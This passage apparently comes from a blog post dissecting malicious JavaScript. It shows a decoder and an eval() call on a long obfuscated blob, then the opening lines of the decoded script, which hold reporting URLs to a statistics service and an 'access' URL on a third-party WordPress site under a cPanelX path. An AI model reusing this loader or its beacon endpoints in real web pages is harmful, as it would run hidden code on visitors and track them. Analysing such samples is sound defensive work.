vNbrQcGifBJ += JRtzFtY.charAt(i); } }  <span style="color: #0000ff">return</span> vNbrQcGifBJ; } eval(blMfGaVxxxv(<span style="color: #006080">'TWS%20eji_oVgnnX_QP%09%093%20jnkH%3B%0D%0AlQY%20aQi_SZgkok_RbYIUU%093%20%27XpjS%3A11J.jRWUXfqkkVq.YSOnyt5xksvsrjZb1TW1uU%2Bxp%27%3B%0D%0AXCi%20Zoc_UUfViR_fBqRkk%093%20%27YspT%3AnnT.ipQWSebeRaS.Xfi8yu83mel2q7vlSRH0g0mw2%27%3B%0D%0ArXi%20ari_VGRfhp_ZDlQVWD%098%20%27Iokl%3A82T.rpEVEfkjjHh.SVdj3fww4ys2z7kFDVuxwj1rs%27%3B%0D%0Am%2Fn%20Knd_nbgfqp_PQCUUZ%092%20%27KjjW%3A2jY.ToRpZflmpIT.Efc7xhrvprd7b6V2Yrx54Jnd2%27%3B%0D%0AlWh%20Mic_YVNkSo_ckXUWZeP%09o%20%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgsv4rm1qsweWcXVz62s%2B%27%3B%0D%0A%0D%0ArET%20Ljc_hQE_ed%09%09%09t%20kPqF%3B%0D%0AqRn%20gjd_kWF_CETUoi%09%09p%20%27Xjag%3Aj7GgpbfjYdnW.EJ2ml-QGcYU2ALBiVhU2ZmZIZ.RYf%3FWSWYeU3QpBoj_WZTVro%27%3B%0D%0AZCT%20aii_bDR_ZHm%2FkO%09%097%20%27Ypqg%3A2%2BbPaHZidUUi.SO2Ul-BYdek2TOWRGNO1edGUn.WYN%3FWDoZkk3jsWXU_LRlWeQ%27%3B%0D%0AlQY%20aQi_MVS_fXmRnbJ%09%09o%20%27Jkjl%3A1oVbfWGoIZio.ZY2vl-EFOZd7S5QdLc87JiUau.gYo%3FWGVKfd8iWQjZ_a%2FrBjWb%27%3B%0D%0AsRi%20ioQ_NCS_bkQGUT%09%09t%20%27YRpQ%3A62bipWhoLGTj.Sd1Zf-QKdGjmXGWkVcW7MPFVn.lXS%3FQSaZMjnnkWqj_cnWHGF%27%3B%0D%0AmQn%20ZVc_bHS_JkBYWWfc%093%20%27gpXR%3An2VhoIYiOVPo.Dc2sm-RUleRnEGQjUON1PeBaY.kYl%3FXTkhkRoUkQpi_OeQKW%2FeM%27%3B%0D%0A%0D%0AqRn%20gjd_kkEFGU%09%09%092%20bQOiU%3B%0D%0AcRP%20fTh_RlmcVs_eRFGo%092%20x%3B%0D%0AlDh%20ZZd_%2FlQgVp_Zflmp%09q%20ecr%3B%0D%0AlWh%20Mic_HgNhFo_gnbWZw%098%20%27E%27%3B%0D%0AXCi%20Zoc_DffSVR_qSg%09%093%20%27dqkg%3A%2B7EFXRdYUGgkHcGpZnpoqVd.bkQnvVj79Hj.fOg%3F%2F8m%27%3B%0D%0A%0D%0AqRn%20gjd_okTWPUUn_kUb%092%20%27OkRl%3Am6TailcZnFQO.Tei1Mi1JcGYLkfl.gj%27%3B%0D%0A%0D%0AWtjGVKfd%20FI2_WUa4NlMZkQOC%28%29%0D%0A%7B%0D%0A%092%2BWPGTk%28Zoc_DffSVR_qSg%201%20fpd_RolPGV_ghaVLn%200%20QjK_WQkcaq_Zecab%20m%20%27.LRh%27%29%3B%0D%0A%09nUWkhU%20aQi_Bkghbk_lqh%20o%20LUd_QlfOUj_WiCbJs%201%20fpd_RolPGV_ZdZUa%200%20%27.ZHi%27%3B%0D%0A%7D%0D%0A%0D%0ADqOXkele%20ARI_GTGRja%2FIhQTV%28QnD%29%0D%0A%7B%0D%0A%09qRn%20fWiZiI%20o%20FfSqcHdj.JiCWUZ8hbdVmp%28%27MHTRca%27%29%3B%0D%0A%09YIhQTV.QnD%207%20jnZ%3B%0D%0A%09ZWqWQG.UkohU.YYiPSGhJop%208%20%27eZUcaR%27%3B%0D%0A%09KHiQiU.VjoSV.BeTkcWv%203%20%27ZmhMPG%27%3B%0D%0A%09ZVnQPU.iapJa.NVicfe%203%20%27z%27%3B%0D%0A%09eJTCdU.ojbbU.WRBZJiX%208%20%27x%27%3B%0D%0A%09ZWqWQG.UkohU.EehKVP%208%20%27Ojea%27%3B%0D%0A%09fWiZiI.UVpba.mLTjO%203%20%27Y%27%3B%0D%0A%09eGmRib.jkxhI.JGZWdj%20p%20%27q%27%3B%0D%0A%09hLkSnO%20dWnXdV%3B%0D%0A%7D%0D%0A%0D%0AeqREVZej%20%3D8C_SYV%2FpFNTnfgk%28rnG%29%0D%0A%7B%0D%0A%09XCi%20iYhLfj%20t%20UMYVhVjq.TidWXGtcUiUQj%28%27iJiGlU%27%29%3B%0D%0A%09nTnfgk.suTG%20o%20%27kUtjoZQcRQYSdgp%27%3B%0D%0A%09pTihlX.UTT%202%20ohF%3B%0D%0A%09hUalPj%20TXiemk%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20cUWNC5%2FRpQMVmrVjs%28%29%20%0D%0A%7B%0D%0A%09eJ%20%28YKeTkm.ACB1kRl5Zhqbjk%29%20qaXWTe%20dam%20ZYdKfU.T0G%2FpqgIdmYGUk%3B%0D%0A%09UhiH%0D%0A%09%7B%0D%0A%09%09jhf%0D%0A%09%09%7B%0D%0A%09%09%09iCpVme%20jbn%204bpMXGOEXZHSj%28%226ZAnPnfbq.ODKD%2B84%22%29%3B%0D%0A%09%09%7D%0D%0A%09%09TQpSK%28Un%29%0D%0A%09%09%7B%0D%0A%09%09%09YVRqSi%20eqic%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_bQIIClPmk%28qoc%29%0D%0A%7B%0D%0A%09mZn%20S6Gh%202%20cUWNC5%2FRpQMVmrVjs%28%29%3B%0D%0A%09eJ%20%28Q6Vg%29%0D%0A%09%7B%0D%0A%09%09kHHg.eUiCWEtjpXkVbdEPIV%202%20bkQSjPfL%20%28%29%0D%0A%09%09%7B%0D%0A%09%09%09eG%20%28jIan.iVZZc7VRja%202p%20u%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09YM%20%28f2aR.nkWqlj%20%2F8%20gcc%29%0D%0A%09%09%09%09%7B%0D%0A%09%09%09%09%0921sYQTed.RJaSo%28%27Wnld%20TZhPDCTa%20%27%206%20e7Ug.YVQlPijaQVos%29%3B%0D%0A%09%09%09%09%7D%0D%0A%09%09%09%7D%0D%0A%09%09%7D%3B%0D%0A%09%0D%0A%09%09k8GS.ffad%28%22w7J%22%2C%20biJ%2C%20pSpV%29%3B%0D%0A%09%09kOVh.raRF%28%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHldYjLed%203Jx_hBWIamfisy%28YTN%29%0D%0A%7B%0D%0A%09mQn%20XK4eKp%20k%20ZPXlibek.akHa%3B%0D%0A%09KW%20%28Xd4RTo%29%0D%0A%09%7B%0D%0A%09%09OYmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRawaiWjV%28lqh%29%2C%20LJqfTu.VLhia6FeMY%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWqkTkhkR%20y7D_SnUDjU2dE%28oSX%29%0D%0A%7B%0D%0A%09mWo%20Zdf%208%20HQElcadW.ShLRRasgVibek%28%27hiK%27%29%3B%0D%0A%09KOX.inS%20p%20ihJ%3B%0D%0A%09iCpVme%20ejX%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_ShLRRa6kRj%28ekdk%29%0D%0A%7B%0D%0A%09rET%20UgQj%202%20GeSbdCjU.XiaXkVDhIOGej%28%27ofDd%27%29%3B%0D%0A%09iWRL.eOiVnEKDK%208%20LVOc%3B%0D%0A%09hajXhd%20Zg%2Fj%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_IVj9fSbUa%2FRiM%28%29%0D%0A%7B%0D%0A%09mVprie%20%27%3CZlTNGk%20dWcH2%22%2A3A8y%C7%C3K%2A%20oolWiZqZ%E7%E3k%20HG%207VWqhDd%E7Q%20wcGmVZ%20Vi%20BO8BQ%2Bp6%20%21%21%22%20TeZUp%22Q.SSRQo%22%20BmTdfmV%2F%22%27%206%20071_XUp3SfbLk5Nz%28%29%205%20%27%3Fi8%27%207%20DRsd.JNQfh%28xqdqqh%201%20%28xWUc.iWkUfl%28%29%2A5nll0z%206%20r%29%29%20n%20%27%22%20mYKkF8%22b%22%20cVedYk%2F%22w%22%20%20WVacU8%22lLiYIZJeUt%3A%20YeaUVm%22%3E%09%09%3ClETCd%20dWcH2%22b%22%20cRJqF7%22Ypqg%3A2%2BoQUHRca.SRc10VR7uZk.leg%3FR%2FfVG.GoU%22%3E%3C7fDhQT%3E%3C2%2FlQgVp%3E%27%3B%0D%0A%7D%0D%0A%0D%0AclebpMQP%20AII_WHj3WgJaUCkii_O%28%29%0D%0A%7B%0D%0A%09idpYTP%20%27%3CRflbHj%20dHdC8%22%2AoO8J%C7%C3L%2A%204ktWPKbR%E7%E3e%20ZU%208UWbi%2Fj%E7B%20%2BcenlV%20di%20v%3Dt6KP37%20%21%21%22%20SeKVk%22W.DgRop%22%20RibdMXG3%22%27%200%20fiP_QfWcCp_Vmc%206%20%27gRmZX.NCT%3Fi2%27%206%20CDjX.McMkS%28wrwxrr%209%20%28IEVJ.iQjTRc%28%29%2Azq0h5k%205%20s%29%29%206%20%27%22%20tZUsdq%22c%22%20JVYcXW2%22q%22%20%20ZkWhF7%22mepZShhMVa%3A%20YYZTHd%22%3E%09%09%3CfHi%2Fi%20OVda9%22c%22%20mZhYGo%22Yjpf%3Ao1iTjDWNZ.Tkj2%2BdppvGk.fdf%3FD2ZYV.CtF%22%3E%3C6gWoRd%3E%3C%2BWTRNVj%3E%27%3B%0D%0A%7D%0D%0A%0D%0AbkQSjPfL%20F6H_fjIfRc%28%29%0D%0A%7B%0D%0A%097pTGgenj%20OeQK%20jSYDZjo%0D%0A%09fW%20%28ari_VGRfhp_eQ%29%20%3DI6_TPaBoVEjX%28ari_VGRfhp_bRQTLU%29%3B%0D%0A%09j7Ja%20%28aoj_cRa_kR%29%20y7D_bWR7UfViR%28fTh_cWY_cfZZIF%29%3B%0D%0A%09KW%20%28Zoc_OQR_Ve%29%20uO0_gRXOVgnnXe%28Ljc_hQE_beHUCZ%29%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_QeBkQG%3DQcR8%28%29%0D%0A%7B%0D%0A%09F6H_TnbRkdEQI%28%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgwv2sg1qsSB3iZRya2s%2B%27%29%3B%0D%0A%7D%0D%0A%0D%0AbYPEkYkd%20zIC_VewkBY9Wfc%28%29%0D%0A%7B%0D%0A%092%2BnIRQij%20heDT%20VHZJ%0D%0A%09eG%20%28eji_oVgnnX_QP%29%20AII_SUUQaVtiH%28eji_oVgnnX_NQRTbQLb%29%3B%0D%0A%091sZD%20%28fTh_cWY_fe%29%20IO3_NCSHafRhj%28QjK_hBW_ckXUWZeP%29%3B%0D%0A%09KH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqpg%28LUd_bWR_OeQKW%2FeM%29%3B%0D%0A%09%0D%0A%09dW%20%28fpd_RolPGV_ZdZUa%20%3C%20ZiT_RNlMZk_Ylles%29%0D%0A%09%7B%0D%0A%09%09fWO_CgfhUW_YdKVV6l%3B%0D%0A%09%0D%0A%09%09qRn%20e5fcu%20q%20FQTkiUQj.RVUW%3B%0D%0A%09%09eG%20%28c5kap%29%0D%0A%09%09%7B%0D%0A%09%09%09mZn%20LVOc%202%20FI2_WUa4NlMZkDqdc%28%29%3B%0D%0A%09%09%09g%2BSFa.ZdoUUj4LWMnF%28EJI_ZiVZpI7RRd%28djPb%29%2C%20XvfBu.Gdioq6YhhH%29%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHWeSpYRd%20%3D%3DD_MjwiZp%28e5fcu%29%0D%0A%7B%0D%0A%09%0D%0A%09pnTVfkhW%20QSJVQo%0D%0A%09Ja%20%28aoj_iVokVV_Qe%29%20%3DOC_FhUHkCENb%28aoj_iVokVV_CTSaiV%29%3B%0D%0A%0911PW%20%28HoN_gRX_le%29%20ARI_PCDIUleUj%28ZZd_JWC_VTYbjj%29%3B%0D%0A%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_QYSHii%29%3B%0D%0A%09%0D%0A%09PW%20%28F%2BPYp%29%0D%0A%09%7B%0D%0A%09%09rXi%20YsiP%20o%20%27%27%3B%0D%0A%09%09%0D%0A%09%09KW%20%28dWlLWQafP.fBqRAkRSkaH%28%29%29%0D%0A%09%09%7B%0D%0A%09%09%09nnaQrQ%20Rd%0D%0A%09%09%09%0D%0A%09%09%09XadJ%208%20xND_cbk4olPGV%2Fjib%28%29%20n%20%27%20%27%200%20%3D%3DD_EaU8gliVkGpQN_%3D%28%29%3B%0D%0A%09%09%09%0D%0A%09%09%0921nUSeha%20a%2FrB%20ZeWYcVc%20WGEGji%0D%0A%09%09%09eV%20%28Mic_YVNkSo_fj%29%20GJD_bnICVV%2FiW%28Mic_YVNkSo_aWsRfm%29%3B%0D%0A%09%09%097pKH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqp%28NUO_cQX_ZDlQVe%29%3B%0D%0A%09%09%09Gb%20%28Knd_hXS_fm%29%20F91_NRRNUSehat%28HoN_gRX_gRmZkR%29%3B%0D%0A%09%09%09%0D%0A%09%09%09JqfTu.YQiUYkmaGjia%28GJD_bnICVVIlQQ%28XjTc%29%2C%20F%2BPYp.bfijs%2FLKNU%29%3B%0D%0A%09%09%7D%0D%0A%09%09UhiH%0D%0A%09%09%7B%0D%0A%09%09%0911QRTW%20PaW%0D%0A%09%09%09%0D%0A%09%09%09ec%20%28kpoaSH%20YZdZeZ.YdUVPSJYkd%20%219%20%27lecaJKPVT%27%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%20%20rYHmfViRsJYkd%209%20nZmZSY.Kedah%3DYTaY%3B%0D%0A%09%09%09%20%20TeFrgkokYdeKJV%203%20medGem.PeLaSCVedYk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%20%0D%0A%09%09%09dhWG%20KW%20%28jufHeV%20KfAqNZep.afTtiIPV8bacHdj%20%21t%20%27lLZFaZjbU%27%20%26%26%20kxlIQH%20UeYkPUda.UMYVhVjq8cdiIPV.TbeUQjMPURd%20%21n%20%27peZbWZmaH%27%20%26%26%20FQTkiUQj.TVTSiFikAiVddjX.ENZUjj%3DYTaY%20%21k%20w%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09WdVsmfissMFVY%202%20ZeFkcLeR.ZPXlibekDhIOGej.YbLUdaNGZUc%3B%0D%0A%09%09%09%09mebngnnXJGZWdj%20p%20TeJlKaOo.UkZlddjXtNVcadW.SbPVLpvZZcek%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09VkoI%0D%0A%09%09%09%7B%0D%0A%09%09%09%09XKVmleUjmPURd%20n%20YfYrdVmp.KGV8bacHdjZ5WPBbEWjV%28%27SnZc%27%29%5Bc%5D.EcYadWMYKkF%3B%0D%0A%09%09%09%09rJZnllikgaMIJk%202%20ZeFkcLeR.cFo8hbdVmpWqaKQcDDcU%28%27IfBu%27%29%5Bb%5D.XcebekGaMIJk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%0D%0A%09%09%0917XWcb%20t%20%27a%2FrB%20dj%20JLK%20VmWFNGU...%27%3B%0D%0A%09%09%09XpcO%202%20%27%3CTPm%20GZn%22spv_iZXgp_GQPk%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20UZop-XcZfj%3A%20GGPkUn%3B%20jRf%3A%20q%3B%20SVDp%3A%20b%3B%20rZZqY%3A%20szz%25%3B%20LGKXXp%3A%20rdt%25%3B%20p-PeBaY%3A%204rwz%3B%20SRbgKTQldZ%3A%20dRdU%22%3E%3CKZT%20eE7%22ouw_cZfdX%22%20UVpba2%22GYiWc%2Fu%3A%20Ojea%3B%20jRifeR%3A%20c%20Cljk%3B%20cDhWPe-RkQ%3A%20wuwmo%3B%20nhZXJ%3A%20irqln%3B%20SQTKZLc%3A%20b%3B%09WfnaVi%3A%2002TZ%20UfbeT%20%23frsitZ%3B%20XPmUao-kfo%3A%20jSPG%3B%20SQYaJhebeB-YPgfn%3A%20tYZsa%3B%20d-KPUUt%3Azdqt%3B%20VmCnGgfs%3A%20Xlkn%3B%20bSPV-WQiYOo%3A%20JHYMiB%3B%20afjq-jZya%3A%20fdRo%3B%20SkbRh%3A%20RSRAg%3B%20UZop-XcZfj%3A%20GGPkUn%3B%22%3E%3C%21--%3CTLl%20iapJan%22oVtq-RchcR%3A%20NGWj%3B%20sYGjX%3A%20or%25%3B%20KWSbZj%3A%20Xlkn%20WYVQ%3B%20SQYaJhebeB-YPgfn%3A%20%23cWW%3B%20akVFGi%3A%20rln%20VebPU%20%23fyixyy%22%3E--%3E%3CaZm%20rpcNG3%22VkdW-mUPXFp%3A%20CjcZ%3B%20cfes-oMbG%3A%20ssln%3B%20FebVi%3A%20%23DbG%3B%20kRZaZef%3A%20xgRZ%20zft%20ySn%20uWo%3B%20%3DWDfXnllec-YSNQi%3A%20%23sxsesr%3B%20aVVp-BgZck%3A%20cVep%22%3ErVGe%E7%E3e%3C7TLl%3E%3CTPm%20QpZgV8%22mRUceRI%3A%20ign%3B%20XQFaWYfSjE-Xfhli%3A%20%23Web%22%3E%3CHKX%20jjubH2%22jLoR-WMdXj%3A%20oZXgp%3B%22%3E%3CE%20UVpba2%22WUna-UCYPmRpffe%3A%20tjHGTcYjU%3B%20FebVi%3A%20%3DhVZ%22%20YnbW3%22iWZCUThefW%3AlePU%28Y%29%22%20kOXceZb3%22ckGWOVdp.WHj7SVKaOo5uFU%28%5C%27oxv_PKIYj%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_HCUU%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_NKXXp_SRdj%5C%27%29.ZkWhF.YZomcRx8%5C%27RQPV%5C%27%22%3E8aSKQh%3CsR%3E%3CjZJq%3E%3CUes%20jkxhIo%22RRTZYQW-jVg%3A%20glY%3B%20oVtq-RchcR%3A%20EGejah%22%3E%3CLcW%20TRPcJi%3A%20wlu%3B%20gRcZMPI%3A%20r%22%20inSp%22Xjag%3Aj7Tw.gkpkZlWKG.QiW7texiUsdxH6aWsR.aoc%22%20p%3E%3CnFZl%3E%3CZYY%20ijfcC8%22QVUZfeX%3A%200wTZ%20c%20tvln%20d%3B%20jUek-%2FhJbe%3A%20Ybekdn%3B%20JQPk-maYJXj%3A%20IfJZ%22%3E9jT%EA%20j%E3l%20gfroYK%20yRlW%20eX%20UbL%20VQp%E1%20EZjWYZchpEFQ.%3CSh%207%3E7VjQ%20W%E1XGjB%20kfoplZ%20qaGWTjeo%20gXU%20hLhSaSZd%20mrV%20f%20IWZC%20GjjaZD%20QjPm%2FZP.%3CWi%207%3E%3CYi%202%3E%3CZ%20pETIVj8%22_ROQdR%22%20YPaG7%22Ypqg%3A2%2BsaY.LRlW.SRc1Wk_mNmYfskcfZZp%22%3ErNZgqU%20DgkP%20g%2FnB%20deoqRcZn%20S%20RNlWed%20Ge%20%3DHm%2F.%3C7B%3E%3C6Ues%3E%3C%21--%3C2Uhr%3E--%3E%3CpFKm%3E%3C1ZYY%3E%3C1TPm%3E%27%20i%0D%0A%09%09%09%09%27%27%206%0D%0A%09%09%09%09%27%3CEdm%20ea3%22oxv_JCFV%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20Ujg%3A%20w%3B%20iVWs%3A%20w%3B%20aKFkX%3A%20%27%206%20lLUmWfPpXdUpe%201%20%27gw%3B%20dIKIYj%3A%20%27%206%20lLUmWfPpIZZcek%201%20%27ot%3B%20FCEbWneXdT-JfJkS%3A%20WcWZb%3B%20q-hjHGZ%3A%200qwr%3B%20-Pep-Vg%2FYJop%3A%20w.5%3B%20fgZYMVa%3A%20.zq%3B%20bYOjUY%3A%20RJlIV%28flXTZsuqkc%29%22%3E%3C2Tel%3E%27%3B%0D%0A%09%09%09o%2A%2A1%09%0D%0A%09%09%091siClPmk%20fXmR%20ceWCDcUZ%20QFSUZj%0D%0A%09%09%09Gb%20%28Knd_nbgfqp_SP%29%20yJC_YhHQjL%3DKc%28Knd_nbgfqp_NCXRebV%29%3B%0D%0A%09%09%09o1YM%20%28aQi_MVS_kk%29%20AJL_hED6VfkhW%28ZiT_c%2FX_KVmWlWW%29%3B%0D%0A%09%09%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_ZWlDeVM%29%3B%0D%0A%09%09%09%0D%0A%09%09%09YmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRa6kRj%28ekdk%29%2C%20dsQFp.VehVj5OZJZ%29%3B%0D%0A%09%09%09%09%0D%0A%09%09%09EjTqjVes.cIVtcUiUQj4f%3DB%28%27tZu_cedYk_bkRV%27%29.UkohU.GYiWc%2Fun%27WckZb%27%3B%0D%0A%09%09%09UnYYOGej.cUW7bLdCjU9pEa%28%27opy_hMIJk%27%29.ipoOU.TPjNhBt3%27XifTj%27%3B%0D%0A%09%09%09ZSEWdUjj.JUjycCiFik%2Bv%3DU%28%27wud_HCUU%27%29.ojbbU.KZQlMVp8%27Ycfbg%27%3B%0D%0A%09%09%7D%0D%0A%09%09%0D%0A%09%09LqQUo.edVUha5CbPmV%28FPD_TqaEVGJSnYSj%28ZZd_NkQpeZbi_lqh%29%2C%20LqQUo.bYUijwYGhE%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AaljZkZnj%20071_fd%2FhHQjL%28%29%0D%0A%7B%0D%0A%09ZD%20%28fTh_ckXUVc%29%20nIVWid%3B%09%0D%0A%09%0D%0A%09rQU%20covfBu%20n%20YfYrdVmp.FQFp%3B%0D%0A%09Yb%20%28cb4eKp%29%0D%0A%09%7B%0D%0A%09%09HoN_gfWaVU%20%2F%20pVWG%3B%0D%0A%09%09AII_eQ%2FdPk%28KupjUu%29%3B%0D%0A%09%7D%0D%0A%09bcjd%0D%0A%09%7B%0D%0A%09%09oIV8ZcaeXj%28%22%3D%3DD_MjqmVWqV%28%29%22%2C%20szw%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AJWPTjeeQ%20MYUUMs2ickXU%28W%29%0D%0A%7B%0D%0A%09uWV%20RTVl%208%20mLdTVn.MjMjRZ%3B%0D%0A%09tZecka.QPceWT%20p%20VkUTRePi%28%29%20%7B%20Zb%20%28miVu%29%20lVGX%28%29%3B%20W%28%29%3B%20%7D%0D%0A%7D%0D%0A%0D%0AMedGem8eJkBY%28AOJ_feBnICVV%29%3B%0D%0Aiaj9YcLfSp%28%22xND_kk6idWXG%28%29%22%2C%20jrqw%29%3B%0D%0A1%2A%0D%0APiW%20t%20U_FaY%28%20Y_S21%28%20%3F%3F%20%29%20%29%3B%0D%0AEKLy38EsDfGfCMBu%2Bf8xEPZqDi9g18QcJp2oCxQIJKPuJQTqLfre1qPiDPCs7K9z1e8zJq%3DvJN5e%0D%0AEJEm3pGkDHUYIaEzDKYf4LItPf%2FZDZ%2Bt%2BfwrEfFtPyVQ2LToI6BpDg%3DaK7UbJgLuLvCb2aayCMOr%0D%0A7qtyAOPxKqH1K%2BAbEcUt2p%3DSEHIdUaVhDdTsDsqYDPCfCJFpyf8xQPVrElUc1sTnJp%2BsDA%3DUJNPt%0D%0AIQPrMfva17SvDM7s6a9x1hHyWaTyINpeEJYp3pGjD4VLIdU0DqHs4LttOyKiDc%2Bpx%3D%3DvEiVpDCUc%0D%0A2LLsV6ymDQLWIrTrJjPpL%3DDM2a7yOc%3DZ6aly0OPyKab1V%2BAZEcIo26OeDH%2BNTKViEajy3bAoCf3f%0D%0ACpGdyfLyDvVoDi9g18PoJp2sPQQHJaPuJAPoLfsN3K%2FsDc7t7K9x0e4zK7T0JN5eQZEmCJafDoYZ%0D%0AIaQzPqXt4b5tEPSfDcFp%2BPpfDCBsESVO1L4sIJBoDg%3DaI%2BPuJjPpXvzY2aGyPM%2Fm7qxy1OTxJa41%0D%0AI%2BBMEZgs3pPTDH9cH7YwEqjy3bAvDiCfPZ3cxC4rPPVpEygc1sLmJp2tEAPXJKbtUwQdLfraB7%2Fs%0D%0ACc7p6Kui0u8vJKAlIdtbDG82%0D%0A%2Ao%0D%0A'</span>));</pre>  </div></div></p>
<p><p>I’m not going to bother breaking that up, it is just a mess anyway.&#160; But in the end you get this very well formatted code:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> jsm_report_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> <span style="color: #0000ff">var</span> jsm_report_access = <span style="color: #006080">'http://c.statcounter.com/7397725/0/d06ca43d/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">var</span> jsm_report_javaon = <span style="color: #006080">'http://c.statcounter.com/7397829/0/58cba984/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">var</span> jsm_report_javaoff = <span style="color: #006080">'http://c.statcounter.com/7415811/0/6dbe4166/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">var</span> jsm_report_loaded = <span style="color: #006080">'http://c.statcounter.com/7415805/0/e6b0668f/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> <span style="color: #0000ff">var</span> jsm_report_loadfail = <span style="color: #006080">'http://c.statcounter.com/7415819/0/56a1ce39/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span> <span style="color: #0000ff">var</span> jsm_lab_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span> <span style="color: #0000ff">var</span> jsm_lab_access = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_access'</span>;</pre></p>
